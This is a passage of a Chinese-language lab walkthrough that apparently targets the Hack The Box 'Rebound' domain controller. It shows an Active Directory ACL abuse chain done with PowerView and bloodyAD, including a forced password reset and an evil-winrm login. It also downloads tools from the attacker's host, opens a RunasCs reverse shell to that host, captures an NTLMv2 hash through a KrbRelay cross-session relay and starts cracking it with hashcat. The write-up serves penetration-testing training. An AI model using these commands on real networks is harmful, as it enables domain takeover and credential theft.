可见 oorend 用户（SID: S-1-5-21-4078382237-1492182817-2568127209-7682）对 ServiceMgmt 对象( CN=ServiceMgmt, CN=Users, DC=rebound, DC=htb ) 拥有 Self 权限，权限类型为ACCESS_ALLOWED_ACE ，具体对应 ActiveDirectoryRights: Self 这条。这种权限允许 oorend 用户修改与自身相关的对象属性，例如通过 AddSelf 操作将自己添加到 ServiceMgmt 组。如果 ServiceMgmt组具有高权限， oorend 用户可以利用这一点实现权限提升，从而对更高权限的对象进行控制。
通过查询 ServiceMGMT 组的权限，也可以筛选到这组信息：
Get-DomainObjectAcl -Identity ServiceMGMT -SecurityIdentifier S-1-5-21-4078382237-1492182817-2568127209-7682
结果
ObjectDN : CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb
ObjectSID : S-1-5-21-4078382237-1492182817-2568127209-7683
ACEType : ACCESS_ALLOWED_ACE
ACEFlags : None
ActiveDirectoryRights : Self
AccessMask : Self
InheritanceType : None
SecurityIdentifier : REBOUND\oorend
看有哪些组织单元（OU），便于查看权限传递：
Get-DomainOU
结果
objectClass : top
organizationalUnit
ou : Service Users
distinguishedName : OU=Service Users,DC=rebound,DC=htb
instanceType : 4
whenCreated : 08/04/2023 09:07:56 (3 years, 3 months ago)
whenChanged : 30/07/2026 14:06:03 (today)
uSNCreated : 69325
uSNChanged : 185309
name : Service Users
objectGUID : {fc826af9-06f9-47e7-866e-4c3c015638b8}
objectCategory : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=rebound,DC=htb
dSCorePropagationData : 07/30/2026 14:06:03 PM
07/30/2026 14:06:00 PM
07/30/2026 13:59:02 PM
07/30/2026 13:59:00 PM
01/01/1601 00:00:00 AM
objectClass : top
organizationalUnit
ou : Domain Controllers
distinguishedName : OU=Domain Controllers,DC=rebound,DC=htb
instanceType : 4
whenCreated : 07/04/2023 14:01:41 (3 years, 3 months ago)
whenChanged : 07/04/2023 14:01:41 (3 years, 3 months ago)
uSNCreated : 5804
uSNChanged : 5804
name : Domain Controllers
objectGUID : {80923a93-fed7-4fe0-b3c7-980864dc3f78}
objectCategory : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=rebound,DC=htb
gPLink : [LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=rebound,DC=htb;0]
dSCorePropagationData : 04/08/2023 09:07:56 AM
04/07/2023 14:01:59 PM
01/01/1601 00:04:16 AM
域控制器 Domain Controllers OU 权限最高，先看它：
Get-DomainObjectAcl -Identity "OU=Domain Controllers,DC=rebound,DC=htb" -ResolveGUIDs -SecurityIdentifier ServiceMGMT
无结果
其中 -ResolveGUIDs 参数的作用是将某些字段中以 GUID（全局唯一标识符）表示的内容解析成
可读的名称，以便更清楚地理解查询结果
再看 Service Users 这个 OU，有什么和 ServiceMGMT 组相关的权限
Get-DomainObjectAcl -Identity "OU=Service Users,DC=rebound,DC=htb" -ResolveGUIDs -SecurityIdentifier ServiceMGMT
结果
ObjectDN : OU=Service Users,DC=rebound,DC=htb
ObjectSID : None
ACEType : ACCESS_ALLOWED_ACE
ACEFlags : None
ActiveDirectoryRights : FullControl
AccessMask : FullControl
InheritanceType : None
SecurityIdentifier : REBOUND\ServiceMgmt
有完全控制权。那就再看 Service Users 这个 OU 对外延展出哪些能力：
Get-DomainObject -SearchBase "OU=Service Users,DC=rebound,DC=htb"
结果
objectClass : top
person
organizationalPerson
user
cn : batch_runner
distinguishedName : CN=batch_runner,OU=Service Users,DC=rebound,DC=htb
instanceType : 4
whenCreated : 08/04/2023 09:07:56 (3 years, 3 months ago)
whenChanged : 30/07/2026 14:13:01 (today)
uSNCreated : 69335
uSNChanged : 185333
name : batch_runner
objectGUID : {fa00c3b6-5e6a-48b9-9fe0-897389addf60}
userAccountControl : NORMAL_ACCOUNT
DONT_EXPIRE_PASSWORD
badPwdCount : 1
codePage : 0
countryCode : 0
badPasswordTime : 30/07/2026 13:03:31 (today)
lastLogoff : 1601-01-01 00:00:00+00:00
lastLogon : 09/04/2023 10:22:12 (3 years, 3 months ago)
logonHours : ////////////////////////////
pwdLastSet : 30/07/2026 14:13:01 (today)
primaryGroupID : 513
objectSid : S-1-5-21-4078382237-1492182817-2568127209-7685
accountExpires : 1601-01-01 00:00:00+00:00
logonCount : 11
sAMAccountName : batch_runner
sAMAccountType : SAM_USER_OBJECT
objectCategory : CN=Person,CN=Schema,CN=Configuration,DC=rebound,DC=htb
dSCorePropagationData : 07/30/2026 14:13:02 PM
07/30/2026 14:13:01 PM
07/30/2026 14:13:01 PM
07/30/2026 14:13:00 PM
01/01/1601 00:00:00 AM
lastLogonTimestamp : 09/04/2023 10:07:10 (3 years, 3 months ago)
vulnerabilities : [VULN-002] User account with password that never expires (LOW)
objectClass : top
person
organizationalPerson
user
cn : winrm_svc
distinguishedName : CN=winrm_svc,OU=Service Users,DC=rebound,DC=htb
instanceType : 4
whenCreated : 08/04/2023 09:07:56 (3 years, 3 months ago)
whenChanged : 30/07/2026 14:13:01 (today)
uSNCreated : 69329
memberOf : CN=Remote Management Users,CN=Builtin,DC=rebound,DC=htb
uSNChanged : 185334
name : winrm_svc
objectGUID : {e3c7114f-5864-4115-b3fb-4587e25790f5}
userAccountControl : NORMAL_ACCOUNT
DONT_EXPIRE_PASSWORD
badPwdCount : 1
codePage : 0
countryCode : 0
badPasswordTime : 30/07/2026 13:03:29 (today)
lastLogoff : 1601-01-01 00:00:00+00:00
lastLogon : 08/04/2023 17:03:38 (3 years, 3 months ago)
logonHours : ////////////////////////////
pwdLastSet : 30/07/2026 14:13:00 (today)
primaryGroupID : 513
objectSid : S-1-5-21-4078382237-1492182817-2568127209-7684
accountExpires : 1601-01-01 00:00:00+00:00
logonCount : 3
sAMAccountName : winrm_svc
sAMAccountType : SAM_USER_OBJECT
objectCategory : CN=Person,CN=Schema,CN=Configuration,DC=rebound,DC=htb
dSCorePropagationData : 07/30/2026 14:13:02 PM
07/30/2026 14:13:01 PM
07/30/2026 14:13:01 PM
07/30/2026 14:13:00 PM
07/14/1601 04:20:16 AM
lastLogonTimestamp : 25/08/2023 21:41:16 (2 years, 11 months ago)
vulnerabilities : [VULN-002] User account with password that never expires (LOW)
objectClass : top
organizationalUnit
ou : Service Users
distinguishedName : OU=Service Users,DC=rebound,DC=htb
instanceType : 4
whenCreated : 08/04/2023 09:07:56 (3 years, 3 months ago)
whenChanged : 30/07/2026 14:13:02 (today)
uSNCreated : 69325
uSNChanged : 185335
name : Service Users
objectGUID : {fc826af9-06f9-47e7-866e-4c3c015638b8}
objectCategory : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=rebound,DC=htb
dSCorePropagationData : 07/30/2026 14:13:02 PM
07/30/2026 14:13:00 PM
07/30/2026 14:06:03 PM
07/30/2026 14:06:00 PM
01/01/1601 00:00:00 AM
是有 winrm_svc 用户的
Get-DomainGroup -MemberIdentity "winrm_svc"
结果
objectClass : top
group
cn : Remote Management Users
description : Members of this group can access WMI resources over management protocols (such as WS-Management via
the Windows Remote Management service). This applies only to WMI namespaces that grant access to the
user.
member : CN=winrm_svc,OU=Service Users,DC=rebound,DC=htb
distinguishedName : CN=Remote Management Users,CN=Builtin,DC=rebound,DC=htb
instanceType : 4
name : Remote Management Users
objectGUID : {263ebfb8-61f1-4f04-97d1-c0e7399e85c8}
objectSid : S-1-5-32-580
sAMAccountName : Remote Management Users
sAMAccountType : SAM_ALIAS_OBJECT
groupType : -2147483643
objectCategory : CN=Group,CN=Schema,CN=Configuration,DC=rebound,DC=htb
Member:CN=winrm_svc, OU=Service Users, DC=rebound, DC=htb 明确表明用户 winrm_svc 包含于 OU
Service Users ，而不难想象 winrm_svc 是能够实现 winrm 的登录的，5985 端口也是开放的。
总结一下，通过枚举我们可以有一条很值得尝试的攻击链：用户 REBOUND\oorend 对组 ServiceMGMT 有增加自身进组的 Self 权限，而组 ServiceMGMT 能够完全控制 OU Service Users ， Service Users 包含 winrm_svc 用户，这样就可以尝试将用户 oorend 增加进 ServiceMGMT 组，给它权限，尝试用 WinRM服务获得系统登录权限。
看加组之前的成员：
Get-DomainGroupMember -Identity servicemgmt
结果
GroupDomainName : ServiceMgmt
GroupDistinguishedName : CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb
MemberDomain : rebound.htb
MemberName : fflock
MemberDistinguishedName : CN=fflock,CN=Users,DC=rebound,DC=htb
MemberSID : S-1-5-21-4078382237-1492182817-2568127209-3382
GroupDomainName : ServiceMgmt
GroupDistinguishedName : CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb
MemberDomain : rebound.htb
MemberName : ppaul
MemberDistinguishedName : CN=ppaul,CN=Users,DC=rebound,DC=htb
MemberSID : S-1-5-21-4078382237-1492182817-2568127209-1951
加组操作：
Add-DomainGroupMember -Identity servicemgmt -Members oorend
用 BloodyAD操作一下
sudo bloodyAD -u oorend -p '1GR8t@$$4u' -d rebound.htb --host 10.129.232.31 add
genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' oorend
验证一下权限状态：
Get-DomainObjectAcl -SecurityIdentifier S-1-5-21-4078382237-1492182817-
2568127209-7682
结果
Recursing all domain objects. This might
take a while
ObjectDN : CN=batch_runner,OU=Service Users,DC=rebound,DC=htb
ObjectSID : S-1-5-21-4078382237-1492182817-2568127209-7685
ACEType : ACCESS_ALLOWED_ACE
ACEFlags : CONTAINER_INHERIT_ACE, INHERITED_ACE,
OBJECT_INHERIT_ACE
ActiveDirectoryRights : FullControl
AccessMask : FullControl
InheritanceType : None
SecurityIdentifier : REBOUND\oorend
ObjectDN : CN=winrm_svc,OU=Service Users,DC=rebound,DC=htb
ObjectSID : S-1-5-21-4078382237-1492182817-2568127209-7684
ACEType : ACCESS_ALLOWED_ACE
ACEFlags : CONTAINER_INHERIT_ACE, INHERITED_ACE,
OBJECT_INHERIT_ACE
ActiveDirectoryRights : FullControl
AccessMask : FullControl
InheritanceType : None
SecurityIdentifier : REBOUND\oorend
ObjectDN : OU=Service Users,DC=rebound,DC=htb
ObjectSID : []
ACEType : ACCESS_ALLOWED_ACE
ACEFlags : CONTAINER_INHERIT_ACE, OBJECT_INHERIT_ACE
ActiveDirectoryRights : FullControl
AccessMask : FullControl
InheritanceType : None
SecurityIdentifier : REBOUND\oorend
ObjectDN : CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb
ObjectSID : S-1-5-21-4078382237-1492182817-2568127209-7683
ACEType : ACCESS_ALLOWED_ACE
ACEFlags : None
ActiveDirectoryRights : Self
AccessMask : Self
InheritanceType : None
SecurityIdentifier : REBOUND\oorend
尝试用 winrm 服务实现登录系统
sudo evil-winrm -i rebound.htb -u winrm_svc -p RedteamN0t3s!
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub:
https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> whoami
rebound\winrm_svc
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> hostname
dc01
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : .htb
IPv4 Address. . . . . . . . . . . : 10.129.229.114
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.129.0.1
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> gc ..\desktop\user.txt
8c7a528dad63db8c5cc92114b756aadc
*Evil-WinRM* PS C:\Users\winrm_svc\Documents>
提权
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> get-process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
393 34 12840 22060 2876 0 certsrv
489 19 2640 5608 388 0 csrss
269 16 2236 5236 512 1 csrss
359 15 3472 14896 5964 1 ctfmon
401 33 16456 25280 2956 0 dfsrs
183 11 2264 7832 3280 0 dfssvc
284 14 3856 13756 3984 0 dllhost
5379 4794 69980 71372 2992 0 dns
603 26 18296 42856 64 1 dwm
1502 58 23556 85444 5476 1 explorer
53 6 1500 4708 2836 0 fontdrvhost
53 6 1780 5428 2844 1 fontdrvhost
0 0 56 8 0 0 Idle
146 14 2212 6088 3012 0 ismserv
2274 160 54892 73376 648 0 lsass
491 35 51568 64792 2864 0
Microsoft.ActiveDirectory.WebServices
254 13 2892 10764 4448 0 msdtc
642 91 301840 319916 3168 0 MsMpEng
0 14 408 21792 88 0 Registry
236 13 2796 17144 6156 1 RuntimeBroker
316 17 19956 33088 6240 1 RuntimeBroker
229 12 2396 13024 6668 1 RuntimeBroker
681 33 20180 74240 5500 1 SearchUI
276 12 2952 12560 2408 0 SecurityHealthService
621 14 5484 13328 628 0 services
779 31 17152 60136 2808 1 ShellExperienceHost
455 17 5088 25156 5592 1 sihost
53 3 520 1220 300 0 smss
133 16 3628 8012 316 0 svchost
209 12 1628 7492 336 0 svchost
215 12 2008 10096 484 0 svchost
222 9 2012 7436 776 0 svchost
175 9 1740 11976 788 0 svchost
89 5 952 4008 848 0 svchost
920 20 6848 22484 868 0 svchost
881 19 4996 12224 916 0 svchost
255 10 1972 7924 956 0 svchost
265 13 3496 9252 1028 0 svchost
390 13 12752 16988 1100 0 svchost
414 33 7572 16892 1224 0 svchost
378 18 5024 13328 1232 0 svchost
278 16 3140 12620 1284 0 svchost
236 12 2652 11904 1320 0 svchost
438 9 2864 9264 1348 0 svchost
150 7 1252 5900 1368 0 svchost
373 18 5216 14756 1452 0 svchost
175 11 1752 8320 1464 0 svchost
331 10 2444 8724 1488 0 svchost
314 13 1988 9084 1548 0 svchost
416 16 14432 23232 1580 0 svchost
284 13 3904 11472 1596 0 svchost
191 12 1960 12128 1692 0 svchost
158 8 1952 7504 1764 0 svchost
145 9 1732 7068 1804 0 svchost
219 10 2328 9444 1848 0 svchost
268 13 2512 8112 1860 0 svchost
168 12 1664 7488 1868 0 svchost
228 12 2144 9468 1876 0 svchost
246 25 3728 13296 2064 0 svchost
469 19 3200 12180 2072 0 svchost
138 8 1552 6416 2188 0 svchost
171 9 3276 8144 2312 0 svchost
158 10 1964 6976 2532 0 svchost
205 11 2192 8604 2680 0 svchost
145 7 1352 5972 2920 0 svchost
452 20 17696 33012 2972 0 svchost
138 9 1564 6720 3056 0 svchost
274 19 3476 13260 3204 0 svchost
178 11 2252 13732 3224 0 svchost
223 12 2096 7720 3324 0 svchost
188 15 6080 10324 3528 0 svchost
118 7 1164 5848 4428 0 svchost
322 18 6200 22848 4608 0 svchost
406 26 3524 13352 4672 0 svchost
228 12 2720 12952 5608 1 svchost
388 19 6852 29368 5644 1 svchost
203 11 2672 12016 5756 0 svchost
172 9 1548 7520 5868 0 svchost
165 9 3880 11992 5876 0 svchost
256 14 3052 13972 6016 0 svchost
205 11 2196 9792 6164 0 svchost
116 7 1420 6104 6724 0 svchost
314 16 16284 18484 6944 0 svchost
173 11 2428 13316 6996 0 svchost
302 20 8184 15432 7160 0 svchost
1837 0 192 148 4 0 System
182 11 2328 11544 5692 1 taskhostw
213 16 2376 11140 3640 0 vds
174 11 2928 11164 3192 0 VGAuthService
148 8 1688 7496 3176 0 vm3dservice
141 9 1828 8004 3496 1 vm3dservice
141 9 1804 7936 5344 1 vm3dservice
395 23 10896 23620 2412 0 vmtoolsd
240 18 5112 15592 6780 1 vmtoolsd
172 11 1408 7040 492 0 wininit
285 12 2584 12964 580 1 winlogon
395 20 11376 21940 3852 0 WmiPrvSE
2154 27 119100 138160 2.20 2428 0 wsmprovhost
其中可以看到第一行的 certsrv 的证书服务和 dns 等系统服务信息，更能看到会话 Id （Session ID）为 5476 的 explorer 进程名。explorer 代表桌面交互进程，更因其 SI （Session Indicator）为 1 表示进程运行在用户交互会话中，表明可能有活动用户。输入法和文本服务相关的 ctfmon 、搜索界面相关的SearchUI 和管理桌面 UI 相关的 ShellExperienceHost 等， SI （Session Indicator）也都是 1 ，都表明有用户交互的迹象。在 Windows 系统中， si （Session Indicator，或会话标识）用于指示进程所属的会话类型。si=0 表示进程运行在系统服务会话中，主要包括核心后台进程和系统服务，例如 lsass 、services 等，这些进程不与用户直接交互；而 si=1 或更高则表示进程属于交互式用户会话，例如本地登录或远程桌面登录的用户环境中，通常会运行用户相关的桌面和应用程序进程，如 explorer 、ctfmon 和ShellExperienceHost 。
通过观察 si 值，可以区分进程是服务级别的后台进程还是属于用户交互的会话环境。
用 qwinsta 查询一下：
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> qwinsta
qwinsta.exe : No session exists for *
+ CategoryInfo : NotSpecified: (No session exists for *:String) [],
RemoteException
+ FullyQualifiedErrorId : NativeCommandError
为此我们可以再次执行之前的利用
sudo bloodyAD -u oorend -p '1GR8t@$$4u' -d rebound.htb --host 10.129.229.114 add
groupMember ServiceMgmt oorend
sudo bloodyAD -u oorend -p '1GR8t@$$4u' -d rebound.htb --host 10.129.229.114 add
genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' oorend
sudo bloodyAD -u oorend -p '1GR8t@$$4u' -d rebound.htb --host 10.129.229.114 set
password winrm_svc RedteamN0t3s!
是修改密码的“暴力”方式，然后手里有了凭据 winrm_svc:RedteamN0t3s! ，此时执行 RunasCs.exe 获得新
的 shell：
*Evil-WinRM* PS C:\programdata\apps> .\RunasCs.exe winrm_svc RedteamN0t3s! powershell
-d rebound.htb -r 10.10.16.18:443 -t 0 -l 9
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-26a5bb2$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with
pid 6348 created in background.
此时执行 qwinsta :
PS C:\Windows\system32> qwinsta
qwinsta
SESSIONNAME USERNAME ID STATE TYPE DEVICE
>services 0 Disc
console tbrady 1 Active
成功了
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> .\RunasCs.exe x x qwinsta -l 9
SESSIONNAME USERNAME ID STATE TYPE DEVICE
>services 0 Disc
console tbrady 1 Active
它利用 NewCredentials （登录类型 9）的特性，即 RunasCs. Exe 在不验证用户名和密码的情况下运行本
地命令，而 qwinsta 仅查询会话信息，不依赖网络身份验证，从而使操作成功生效。
攻击路径手工枚举
PS C:\programdata\apps> get-domainuser -properties samaccountname
samaccountname
--------------
Administrator
Guest
krbtgt
ppaul
llune
fflock
jjones
mmalone
nnoon
ldap_monitor
oorend
winrm_svc
batch_runner
tbrady
的确存在 tbrady 这个用户，就是用户是活跃的。看一下他的详细信息。
PS C:\programdata\apps> get-domainuser -identity tbrady
logoncount : 42
badpasswordtime : 4/8/2023 9:22:25 AM
distinguishedname : CN=tbrady,CN=Users,DC=rebound,DC=htb
objectclass : {top, person, organizationalPerson, user}
lastlogontimestamp : 1/25/2025 3:36:04 PM
name : tbrady
objectsid : S-1-5-21-4078382237-1492182817-2568127209-7686
samaccountname : tbrady
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 1/25/2025 11:36:04 PM
instancetype : 4
usncreated : 69346
objectguid : d9ee43f7-de07-42ee-9f51-cd9c1f37e111
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory :
CN=Person,CN=Schema,CN=Configuration,DC=rebound,DC=htb
dscorepropagationdata : {8/25/2023 10:05:00 PM, 1/1/1601 12:00:00 AM}
lastlogon : 1/25/2025 3:36:04 PM
badpwdcount : 0
cn : tbrady
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
whencreated : 4/8/2023 9:08:31 AM
primarygroupid : 513
pwdlastset : 4/8/2023 2:08:31 AM
msds-supportedencryptiontypes : 0
usnchanged : 176177
进一步枚举前面的命令无法列出的服务账号：
PS C:\programdata\apps> Get-ADServiceAccount -Filter *
DistinguishedName : CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb
Enabled : True
Name : delegator
ObjectClass : msDS-GroupManagedServiceAccount
ObjectGUID : c9da97ae-5e35-44d2-aa15-114aecdc0caf
SamAccountName : delegator$
SID : S-1-5-21-4078382237-1492182817-2568127209-7687
UserPrincipalName :
只有这样一个服务账号，但从名字命名等看，很有价值的。Delegator 是委派、代表这个词义。当前我们
有权限的用户属于哪个组，怎么能对这个服务账号进行操作？枚举下用户账号的组属关系：
PS C:\programdata\apps> get-domainuser -properties samaccountname,memberof
samaccountname memberof
-------------- --------
Administrator {CN=Group Policy Creator Owners,CN=Users,DC=rebound,DC=htb, CN=Domain
Admins,CN=Users,DC=rebound,DC=h...
Guest CN=Guests,CN=Builtin,DC=rebound,DC=htb
krbtgt CN=Denied RODC Password Replication Group,CN=Users,DC=rebound,DC=htb
ppaul CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb
llune
fflock CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb
jjones
mmalone
nnoon
ldap_monitor
oorend
winrm_svc CN=Remote Management Users,CN=Builtin,DC=rebound,DC=htb
batch_runner
tbrady
Ldap_monitor 、oorend 和 tbrady 都未显示所属组，而 winrm_svc 的组属可以尝试进一步验证。然而，更重要的是枚举 everyone 对 delegator 的权限。原因在于，从功能上看， winrm_svc 组主要对应的是远程管理（Remote Management）。如果 everyone 对 delegator 拥有委派相关的权限，这在逻辑上会更符合实际使用场景。当然，这些仍然只是推测，但对于渗透测试中的优先级判断具有关键意义。
PS C:\programdata\apps> Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
$_.SecurityIdentifier -eq "S-1-1-0" -and $_.ObjectDN -match "CN=delegator,CN=Managed
Service Accounts,DC=rebound,DC=htb" }
AceQualifier : AccessDenied
ObjectDN : CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-4078382237-1492182817-2568127209-7687
InheritanceFlags : None
BinaryLength : 40
AceType : AccessDeniedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-1-0
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
AceQualifier : AccessAllowed
ObjectDN : CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb
ActiveDirectoryRights : ReadProperty
ObjectAceType : ms-DS-ManagedPassword
ObjectSID : S-1-5-21-4078382237-1492182817-2568127209-7687
InheritanceFlags : None
BinaryLength : 40
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-1-0
AccessMask : 16
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
Get-DomainObjectAcl -ResolveGUIDs 的功能是获取域中所有对象的访问控制列表（ACL）。-
ResolveGUIDs 将 ACL 中的 GUID（标识属性或权限类型）转换为更易读的名称， Where-Object 用于对
Get-DomainObjectAcl 的结果进行筛选，通过指定条件来缩小返回数据的范围。筛选条件包括：首先，
$. SecurityIdentifier -eq "S-1-1-0" 用于筛选出 SecurityIdentifier 等于 S-1-1-0 的条目，该
SID 表示 Everyone 组，即所有用户；其次， $. ObjectDN -match "CN=delegator, CN=Managed
Service Accounts, DC=rebound, DC=htb" 用于筛选出 ObjectDN 中包含特定字符串的条目，这一条件确
保筛选结果仅限于 delegator 对象的访问控制列表（ACL）。这两个条件的结合保证了最终返回的数据是
Everyone 在 delegator 对象上拥有的权限。
这条命令的第二个结果表明， everyone 中的用户 tbrady 对服务账号 delegator 具有读取其 GMSA
（组托管服务账号）密码的权限。可以直接通过 delegator 主体来验证这一点：
PS C:\programdata\apps> Get-DomainObjectAcl -Identity "CN=delegator,CN=Managed
Service Accounts,DC=rebound,DC=htb" -ResolveGUIDs | Where-Object { $_.ObjectAceType -
match "ms-DS-ManagedPassword" }
AceQualifier : AccessAllowed
ObjectDN : CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb
ActiveDirectoryRights : ReadProperty
ObjectAceType : ms-DS-ManagedPassword
ObjectSID : S-1-5-21-4078382237-1492182817-2568127209-7687
InheritanceFlags : None
BinaryLength : 40
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-1-0
AccessMask : 16
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
小结一下即用户 tbrady 具有读取 gMSA delegator 密码的权限，因为在 Active Directory 的访问控制列表（ACL）中， ms-DS-ManagedPassword 属性被显式分配了 ReadProperty 权限给 Everyone 组（SID: S-1-1-0）
搬运两个工具进来：
PS C:\programdata\apps> wget http://10.10.16.18/KrbRelay.exe -outfile ./KrbRelay.exe
PS C:\programdata\apps> wget http://10.10.16.18/RunasCs.exe -outfile ./RunasCs.exe
执行如下攻击过程：
PS C:\programdata\apps> .\RunasCs.exe oorend '1GR8t@$$4u' -l 9
"c:\programdata\apps\KrbRelay.exe -ntlm -session 1 -clsid 38e441fb-3d16-422f-8750-
b2dacec5cefc -port 95"
[*] Auth Context: rebound\tbrady
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: c:\programdata\apps\KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAADL+MZkILLdsWFuuHa9cyN2AuQAAMQD///gSD
sNbKo+LSIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAA
fAP//AAAOAP//AAAAAA==:
[*] Forcing cross-session authentication
[*] Using CLSID: 38e441fb-3d16-422f-8750-b2dacec5cefc
[*] Spawning in session 1
[*] NTLM1
4e544c4d535350000100000097b208e2070007002c00000004000400280000000a0063450000000f44433
0315245424f554e44
[*] NTLM2
4e544c4d53535000020000000e000e003800000015c289e27e75a6761804e084000000000000000086008
600460000000a0063450000000f7200650062006f0075006e00640002000e007200650062006f0075006e
006400010008004400430030003100040016007200650062006f0075006e0064002e00680074006200030
0200064006300300031002e007200650062006f0075006e0064002e006800740062000500160072006500
62006f0075006e0064002e0068007400620007000800006f9e4f4f70db010000000000000000000000006
500780065000000300039002d003700040002000b000000
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, ReplayDetect, SequenceDetect, UseDceStyle,
Connection, AllowNonUserLogons
[*] NTLM3
tbrady::rebound:7e75a6761804e084:26a0a51afa084cd44c4738d0de4fa4cb:0101000000000000006
f9e4f4f70db01892724e8dbdb603b0000000002000e007200650062006f0075006e006400010008004400
430030003100040016007200650062006f0075006e0064002e00680074006200030020006400630030003
1002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e0064
002e0068007400620007000800006f9e4f4f70db010600040006000000080030003000000000000000010
000000020000056ad783ae796ab6c89c592edc51e80d08ac5a550ded4dda3882dd6156297a55f0a001000
00000000000000000000000000000000090000000000000000000000
System.UnauthorizedAccessException: Access is denied. (Exception from HRESULT:
0x80070005 (E_ACCESSDENIED))
at KrbRelay.IStandardActivator.StandardGetInstanceFromIStorage(COSERVERINFO
pServerInfo, Guid& pclsidOverride, IntPtr punkOuter, CLSCTX dwClsCtx, IStorage pstg,
Int32 dwCount, MULTI_QI[] pResults)
at KrbRelay.Program.Main(String[] args)
看 KrbRelay 命令部分，它通过 -ntlm 参数指定采用 NTLM 身份验证协议，强制工具通过 NTLM 而非
Kerberos 进行认证，因为 NTLM 在某些场景下（即如现在的中继攻击）更易于被滥用。-session 1 参数
用于指定目标会话 ID 为 1 的用户进行操作，该会话通常代表活动用户，前面通过 qwinsta 命令也确认这
个 ID 为 1 。-clsid 38 e 441 fb-3 d 16-422 f-8750-b 2 dacec 5 cefc 指定了一个唯一的 CLSID（Class
Identifier），对应目标 RPC 服务，确保该服务被正确配置以支持中继，允许在其上执行命令或访问资源，
我们用工具 Github 库中 Windows Server 2019 跨会话中继常用的三个中的的第二个。-port 95 参数定义
了目标服务的监听端口，默认情况下会选择端口 135 或其他常见 RPC 端口，但此处我们随机的定义的，只
要不冲突就行，这得益于 RPC 服务的动态端口分配机制和 KrbRelay 工具的设计灵活性，何况是本地执行
和同时本地监听。
很快，我们获得了 tbrady 的 ntlmv 2 哈希，尝试破解：
sudo hashcat -m 5600
'tbrady::rebound:7e75a6761804e084:26a0a51afa084cd44c4738d0de4fa4cb:010100000000000000
6f9e4f4f70db01892724e8dbdb603b0000000002000e007200650062006f0075006e00640001000800440
0430030003100040016007200650062006f0075006e0064002e0068007400620003002000640063003000
31002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e006
4002e0068007400620007000800006f9e4f4f70db01060004000600000008003000300000000000000001
0000000020000056ad783ae796ab6c89c592edc51e80d08ac5a550ded4dda3882dd6156297a55f0a00100
000000000000000000000000000000000090000000000000000000000'
/usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8,
SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====================================================================================
=======================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz, 2899/5862 MB
(1024 MB allocatable), 6MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
